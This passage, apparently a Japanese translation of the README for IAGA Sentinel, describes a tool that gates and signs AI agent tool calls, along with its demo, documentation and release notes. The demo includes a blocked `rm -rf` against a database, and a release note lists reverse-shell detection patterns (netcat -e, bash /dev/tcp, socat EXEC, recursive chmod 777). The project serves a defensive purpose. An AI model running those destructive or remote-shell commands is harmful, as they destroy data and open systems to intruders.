iaga-verify chain.json --key <hex-ed25519-pubkey> # -> CHAIN OK
[!NOTE] キーを固定する。 初回エクスポート時に16進数を一度記録し (
jq -r .signer_verifying_key chain.json)、以降は--keyとして渡すこと。--keyを指定しない場合、 検証器はファイルに埋め込まれたキーにフォールバックするが、これはチェーンが内部的に 一貫していることだけを確認するものである — 再署名した偽造者もそのキーを提供しているからだ。検証器はその旨を stderr に出力し、CHAIN OK行にkey=embeddedとスタンプする。上記のコマンドはこのチェックアウトからインストールする。クローンせずにインストールする場合は、リリースタグを使用する:
cargo install --git https://github.com/IAGA-TEAM/IAGA-Sentinel --tag v2.1.0 --locked iaga-sentinel-core iaga-sentinel-verify。 ビルドを一切行わずにチェーンを確認するには、依存関係のない検証器を使用する:python sdks/python/iaga_verify.py chain.json --key <hex-ed25519-pubkey>およびnode sdks/typescript/verify.mjs chain.json --key <hex-ed25519-pubkey>。
Postgres(--features postgres + DATABASE_URL)と docker compose up -d についてはドキュメントで説明されている。
完全自律型エージェントの使用とセットアップ
IAGA Sentinel は AIエージェント自身が立ち上げられる ように設計されている — 人間向けのランブックは不要だ。この
リポジトリをエージェント型コーディングツール(Claude Code、Cursor、OpenClaw、または任意のMCPクライアント)にドロップし、
AGENTS.md を参照させる:エージェントは自身のメモリ/指示ファイルを読み、すでに保持している運用ルールを導出し、
それらを型付き Dictum ポリシーとしてエンコードし、承認を得たら — ダッシュボードを起動し、
MCP 経由で自身を接続し、自身のアクションをガバナンス下に置く。その後、エージェントが行うすべてのツールコールは
(許可 / レビュー / ブロック)チェックされ、実行 前に 署名付きレシートに封印される。
このループは設計上ヒューマン・イン・ザ・ループである — 2つのゲートがある:
- ルールを承認する。 エージェントはメモリからルールを導出し、平易な言葉で提示し(各ルールは その出典を引用)、待機する。あなたが go と言うまで何も強制されない。
- 動作を監視する。 エージェントは2回のライブテストコールを行い、その様子が http://localhost:4010/ の ダッシュボードにリアルタイムで表示されるのを確認し、確認したら挨拶する。
1つのコマンドで機械的なループ全体を非対話的に実行できる — ビルド → ポリシー → サーブ → MCP経由での自己接続 → 2回のガバナンス下テストコール → オフライン証明:```bash ./scripts/agent_bootstrap.sh # Linux/macOS (needs jq) .\scripts\agent_bootstrap.ps1 # Windows
このディテールが本物らしさを生み出します。エージェントは**同じ `--policy` を `iaga serve` と `iaga mcp-server` の両方に渡す**ため、エージェント自身が作成したポリシーが、人間が入力する呼び出しだけでなく、MCP経由で行う呼び出しも実際に統制します。完全な標準手順は [`AGENTS.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/AGENTS.md) にあります。
---
## 今すぐテストする (2.1.0)
私たちの言葉を鵜呑みにしないでください。このリポジトリには自己完結型のデモキットが同梱されており、ライブパイプラインを通じて3つの実際の判定結果を駆動し、あなた自身のマシン上でオフラインでレシートを証明します。何も偽装されておらず、毎回の実行で同じ判定結果が得られます(判定結果は安定しています。正確なリスク整数値はエージェントの信頼度に応じてわずかに変動し、パイプラインは各アクション後にそれを更新します)。[`scripts/`](https://github.com/iaga-team/iaga-sentinel/blob/main/scripts) 配下に2つのスクリプト、[`docs/demo/README.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/demo/README.md) にランブックがあります。主な実行経路はWindows PowerShellで、LinuxとmacOSでは `.sh` 版の双子を使用します。
2つのターミナルを開きます。**ターミナルA** はサーバーを起動します。バイナリをビルドし、同一のシードのためにデモデータベースを消去し、`:4010` でダッシュボードを提供します。```powershell
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
cd path\to\IAGA-Sentinel
.\scripts\demo.ps1 -Build
緑色の READY バナーと DASHBOARD -> http://localhost:4010/ が表示されるまで待ちます。そのURLをブラウザで開き、Live feed タブをクリックします。その後、Terminal B がデモを操作します:```powershell
cd path\to\IAGA-Sentinel
.\scripts\demo_run.ps1
カメラに合わせてペースを調整し、ダッシュボードのライブフィードとターミナルに、3つの実際の判定が同時に表示されるのを見届けます:
- **ビート1、ALLOW**(リスク2):安全なリポジトリ読み取り。記録済み。
- **ビート2、REVIEW**(リスク40):本番シークレットを必要とするシェルコマンド。人間によるレビュー依頼として保留中で開かれる。
- **ビート3、BLOCK**(リスク81):データベースに対する `rm -rf`。署名付きレシート付きで拒否され、それが証明となる(`/v1/inspect` が判定を返し、`iaga run` が起動を完全にブロックする)。
- **証明。** 3つの署名付きレシートが1つのハッシュチェーン実行としてエクスポートされ、`iaga-verify` はサーバーもデータベースもネットワークもなしで `CHAIN OK` を出力する。最後のレシートがブロックを証明する。
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/13896/cbf7f0102fa254236cba9efb9e17e7a6ec43449b900642ef7b290c791d53fb09.gif" alt="アニメーションのアイソメトリックフロー:署名付きレシートが積み重なり、単一の検証済みルートに封印される" width="760" /><br />
<sub>アクションから、封印され検証可能な証拠まで。</sub>
</p>
ドライバーはすべての判定をアサートするため、非決定的な実行が記録されることは決してありません。クリーンなテイクをやり直すには、`Ctrl+C` でサーバーを停止し、`demo.ps1` を再実行します(ゼロから再シードされます)。
Linux と macOS ではフローは同一です(ドライバーには `curl` と `jq` が必要です):```bash
./scripts/demo.sh --build # terminal A
./scripts/demo_run.sh # terminal B
ウィンドウレイアウト、キャプション、および75〜100秒のタイミング予算は、docs/demo/README.mdにあります。
ドキュメント
すべてはwww.iaga.tech/docsにあります: ゼロから検証済みエビデンスまでの完全チュートリアル、フレームワーク統合(LangChain、Claude Code、MCP、およびさらに12種類)、Dictumポリシー言語、コスト管理と予算、APIキーとスコープ、設定と環境変数、本番環境チェックリスト、およびトラブルシューティング。
このリポジトリ内:
AGENTS.md: 完全なオペレーターおよびエージェントリファレンス — ビルド、実行、HTTPまたはMCP経由でのエージェント接続、Dictum言語、CLI、環境変数、および落とし穴CHANGELOG.md: リリースノート ·docs/releases/: リリースごとの詳細な解説docs/openapi.yaml: 完全なHTTP API仕様docs/adr/: アーキテクチャ決定記録 — OSS↔Enterprise境界については0010から開始charts/iaga-sentinel/README.md: Helmデプロイ、イメージタグの固定、およびマイグレーションのロールバック方法plug-ins/: インザループプラグイン — リリース済み(VoltAgent、Letta)に加え、さらに15のフレームワーク向け*-adapter/統合sdks/: PythonおよびTypeScript SDKSECURITY.md·DATA_HANDLING.md·CONTRIBUTING.md
コミュニティ版 vs Enterprise版
このリポジトリはオープンビルドです: ソース検証可能なエビデンスコア、署名付きレシート、オフライン検証とリプレイ、Dictumポリシーエンジン、クロスプラットフォームのユーザースペース強制、BYOK署名、BYO ONNX推論、およびコスト管理を備えています。すべての主張はクリーンチェックアウトから再現可能です: git clone && cargo test --workspace。
IAGA Sentinel Enterpriseは計画中の商用エディションであり、現在開発中で、管理・プラットフォーム固有・コンプライアンス配信機能を追加するように設計されています: Annex IVドシエ生成、資格付き署名、SSO/RBAC/マルチテナンシー、ネイティブSIEMおよびKMS統合、権威あるカーネル強制、およびキュレーションされたモデルパッケージ。これらは計画中の方向性であり、出荷中の機能ではなく、ここにあるものは販売の申し出ではありません。公開境界はADR 0010に文書化されています。概要はENTERPRISE.mdにあります。
現在、IAGA Sentinelはソース利用可能なプロジェクト(BUSL-1.1)および研究活動です。Enterpriseエディションはまだ購入できません。フォローしてオープン時の早期アクセスをご希望の場合は、[email protected]にメールアドレスをお残しください — 購入もコミットメントも不要で、早期情報のみをお届けします。
私たちについて
EU規制のためのインフラストラクチャは、誰が構築するかという問題です。IAGA Sentinelは、欧州人で多言語対応、かつAI法が規制するセクターに精通した創業チームによってEU内で構築されています。以下の主張は事実として述べられており、確認するためのリンクが付いています — すべてのレシートが持つのと同じ姿勢です。
- William Petteni(CEO、20歳、フランス人)。商業および戦略。機械工学とコンピュータサイエンスの二重学位を取得中で、EU規制セクターに深いネットワークを持つ。
- Justus Moritz Bohr(CPO、19歳、ドイツ人)。製品およびビジネス。3度目の創業者、4年以上のビジネス開発経験。Annex IVと規制UXの製品を統括。
- Edoardo Bambini(CTO、21歳、イタリア人)。ソフトウェアエンジニアおよび独立研究者。AISec 2026論文の著者。Rust決定的ガバナンスカーネルと暗号証明レイヤーの設計者。
平均年齢20歳: 私たちが置き換えようとしているコンプライアンススイートより若く、私たちが対応するEU AI法より年上です。署名はどちらにせよ同じように検証されます。
完全なチームはwww.iaga.tech/teamにあります。
研究
マーケティング検証ではなく、研究検証。
- 自己主張ではなく、査読済み。 Edoardo Bambiniによる論文が、モロッコのマラケシュで開催された国際人工知能・サイバーセキュリティ会議AISec 2026で採択されました(SciMeTech特集号に掲載予定)。この論文は、自律型AIエージェントの適合性エビデンスに対するIAGA Sentinelのアプローチを提示し、プラットフォームに関するケーススタディを含みます。論文リンクは近日公開予定。詳細はwww.iaga.tech/researchにあります。
受賞歴
- École des Ponts。 国立土木学校(École des Ponts)が主催するスタートアップコンペティションで、21社中1位を獲得。
- HackRome。 IAGA Sentinelが€1,000の賞金を獲得し、Edoardo Bambiniは単独でエントリー・ビルド・プレゼンテーションを行い、コンペティションの最優秀ソロビルダーに選ばれました。
ステータス
[!NOTE] 1.9.0の新機能: 要求できるエビデンスの完全性と、維持されるデプロイパス。 レシートはフェイルクローズ(
IAGA_SENTINEL_RECEIPT_FAIL_CLOSED)にできるようになりました: これを設定すると、署名付きレシートなしでは判定は出荷されず、レシートロガーを構築できないサーバーは起動を拒否します。デフォルトではオフのため、デフォルトビルドとレシートバイトは1.8.1から変更されていません。workspaceIdはリクエストボディから信頼されなくなりました — ガバナンススコープはエージェントプロファイルから導出され、異なるワークスペースを主張するリクエストは、別のワークスペースのポリシーで判断される代わりに403 scope_mismatchを受け取ります。デプロイ面では、ComposeとKubernetesマニフェストがEd25519署名キーを永続化するようになり(以前は再起動のたびに再生成され、以前のレシートの検証が壊れていました)、Helmチャートはイメージのポリシーの上に空のポリシーをマウントしなくなり、IAGA_SENTINEL_BOOTSTRAP_API_KEYにより対話的なiaga gen-keyなしで新規インストールに到達できるようになりました。CHANGELOGを参照してください。
[!NOTE] 1.8.0の新機能: より強力なユーザースペース封じ込め + リバースシェル検出。
iaga runは許可された子プロセスを直接封じ込めるようになりました —setsid、コアダンプなし(RLIMIT_CORE=0)、権限昇格なし(LinuxではPR_SET_NO_NEW_PRIVS)、親とともに回収 — また、脅威インテリジェンスレイヤーはリバースシェル(netcat-e/-c、bash//dev/tcp、socat EXEC)と再帰的なchmod 777をクリティカルとしてフラグ付けします。強制は協調的 / ユーザースペースのままです: カーネルeBPF/LSM封じ込めは引き続きEnterprise版であり、iaga kernel statusは姿勢を正直に報告し、すべてのレシートは引き続きis_authoritative: falseを保持します。デフォルトビルドとレシートバイトは1.7.2から変更されていません。CHANGELOGを参照してください。
[!NOTE] 1.7.2の新機能: VoltAgent用プラグイン + 整理された
plug-ins/ホーム。 VoltAgent向けの新しいリリース済みインザループプラグイン(@iaga-sentinel/voltagent): ツールのexecute()が実行される前にToolDeniedErrorをスローするonToolStartゲート、オプションのプロンプトインジェクション入力スキャンとツール出力のシークレット編集、およびオフラインのCHAIN OKレシート — 実際のサイドカーと実際のモデルに対してエンドツーエンドで検証済み。リポジトリのインザループ統合はplug-ins/の下に統合されています(リリース済みの*-plugin/とコピーペースト用の*-adapter/が並置)。コアには追加的でドキュメントのみの変更です: レシートとデフォルトビルドは1.7.1とバイト単位で同一です。CHANGELOGを参照してください。
[!NOTE] 1.7.1の新機能: ドキュメントと誠実性の衛生管理。 コードパスやワイヤーの変更はありません — レシート、ポリシー評価、およびデフォルトビルドは1.7.0とバイト単位で同一です。ブートバナーとアーキテクチャノートは、実際のパイプライン深度(8レイヤー、そのうち2つ — サンドボックスと形式検証 — はアドバイザリであり判定の一部ではない)を、以前の「12レイヤー」という見出しの代わりに明記するようになりました。
.cargo/audit.tomlは、3つの無視されたRUSTSECアドバイザリのそれぞれがどのオプション/コンパイル時パスによって引き込まれるかを文書化しています(デフォルトビルドにはいずれも含まれず、cargo treeで再検証済み)。また、ワークスペース、SDKマニフェスト、およびBUSLのLicensed Work行がリリースに合わせて調整されています。CHANGELOGを参照してください。
[!NOTE] 1.7.0の新機能: OSSバックログの解消。 2つの決定的なDictum組み込み関数が登場 —
timestamp()(RFC3339からエポックへ、ポリシーが通常の数値演算子で時間範囲を表現できるように)とsha256()(コンテンツハッシュ)。MCPサーフェスにはiaga mcp-doctor(任意のMCPエンドポイントのヘルスチェック: ハンドシェイク、ツールスキーマの形状、およびポリシーエンジンがブロックする呼び出し)と、Rustエージェント向けにiaga::mcp::GovernedToolを公開するiaga-sentinel-mcpクレートが追加されました。脅威フィードの形式がオープンになり(threat-intel.toml、IAGA_SENTINEL_THREAT_FEED経由でロード。キュレーションされた署名付きフィードは引き続きEnterprise版)、SBOM取り込みはCycloneDXに加えてSPDXを学習し、iaga plugins attest --slsa-level Nはオフラインのin-toto/SLSAステートメントを出力します(DSSE署名可能。レベルはオペレーター宣言であり検証されません。このサブコマンドは--features plugin-attestationでのみコンパイルされ、デフォルトビルドには含まれません)。すべて追加的です — 以前のリリースのレシートは引き続きバイト単位で検証され、すべてのOSSレシートはis_authoritative:falseのままです。CHANGELOGを参照してください。
[!NOTE] 1.5.6の新機能: ポリシー言語は現在Dictumです。 型付きポリシーDSL(旧APL / Agent Policy Language)は、エンドツーエンドでDictumに改名されました:
.dictumファイル拡張子、iaga-sentinel-dictumクレート、dictumビルドフィーチャー、およびすべての監査イベントと署名付きレシートに記録されるdictum[...]理由。この改名は動作を保持します: 署名付きレシートのワイヤー形式はバイト単位で同一のままです(apl_eval_traceフィールドは保持されます)。ADR 0004とCHANGELOGを参照してください。
[!NOTE] 1.5.4の新機能: ポリシー言語は約束したことを実際に強制するようになりました。 Dictumの
secret_ref()組み込み関数は、ツールペイロード内の認証情報とPIIを実際に検出します(常にfalseを返すプレースホルダーでした)。また、新しいurl_host()組み込み関数により、ポリシーは実際のホストごとのエグレス許可リストを持ち、類似ドメインによるバイパスも阻止します。3つのコア修正も同時に提供されます: ワークスペースのエグレス許可リストがURL対応になり、許可されたホストへの完全なURLが過剰にブロックされなくなりました。すべてのblockまたはreviewは、サイレントなエスカレーションなしに、監査イベントと署名付きレシートにその原因を保持します。また、署名付きレシートはセッション全体でハッシュチェーンを形成し、マルチステップの実行が単一の改ざん検出可能なハッシュチェーンを形成します。ADR 0023とCHANGELOGを参照してください。
現在のリリース: 2.1.0(リリースノート)。CIは完全なワークスペーステストスイート(デフォルトおよび--all-features)、ライブPostgresレシートテスト、実際のサイドカーに対するSDKエンドツーエンドスモークテスト、および-D warnings付きのclippyを実行します。クリーンチェックアウトからすべてグリーンです。
謝辞
IAGA Sentinelの統合プラグインは、以下の他のオープンソースの成果に基づいて構築されており、感謝しています:
- **VoltAgent**プロジェクトとそのメンテナーの皆様。VoltAgent用プラグインが統合するエージェントフレームワークを提供いただきありがとうございます。
- **Letta**プロジェクト(旧MemGPT)とそのメンテナーの皆様。ステートフルエージェントフレームワークを提供いただきありがとうございます。
- 広範なRustオープンソースエコシステム —
iagaバイナリが依存する数百のクレート。それぞれがTHIRD_PARTY_NOTICES.mdでライセンスとともにクレジットされています。
これらの名称はプロジェクトを識別するためだけに使用されています(以下の商標を参照)。
商標と免責事項
免責事項。 IAGA Sentinelは独立したプロジェクトです。VoltAgentとLettaはそれぞれの所有者の商標です。IAGA SentinelはVoltAgent Inc.またはLettaと提携しておらず、承認もスポンサーも受けていません。その統合プラグインは、これらのフレームワークと連携する独立した統合であり、それらをバンドルまたは再配布するものではありません — 各フレームワークのパッケージは個別にインストールしてください。TRADEMARKS.mdを参照してください。
ライセンス
ソースはBusiness Source License 1.1の下で利用可能で、Change License Apache-2.0付きです: 自由にコピー、変更、再配布でき、本番環境での使用も可能です — 唯一の例外は、IAGA Sentinel、またはそれから派生した実質的に類似したAIエージェントガバナンスサービスを、ホスト型または管理型サービスとして第三者に提供することです(LICENSEのAdditional Use Grantを参照)。各リリースの公開から4年後、そのリリースは自動的かつ不可逆的にApache-2.0に変換されます。この変換はライセンス自体に明記されています。
保証なし、責任なし。 IAGA Sentinelは**「AS IS」**で提供され、保証も損害に対する責任もありません。これはアドバイザリレイヤーです(すべてのレシートにはis_authoritative: falseとスタンプされています) — それ自体は何も強制または保証せず、本番環境で依存する前にテストおよび検証する責任はあなたにあります。DISCLAIMER.mdとLICENSEのLimitation of Liabilityセクションを参照してください。
リポジトリ: https://github.com/IAGA-TEAM/IAGA-Sentinel · ドキュメント: https://www.iaga.tech/docs · 連絡先: [email protected]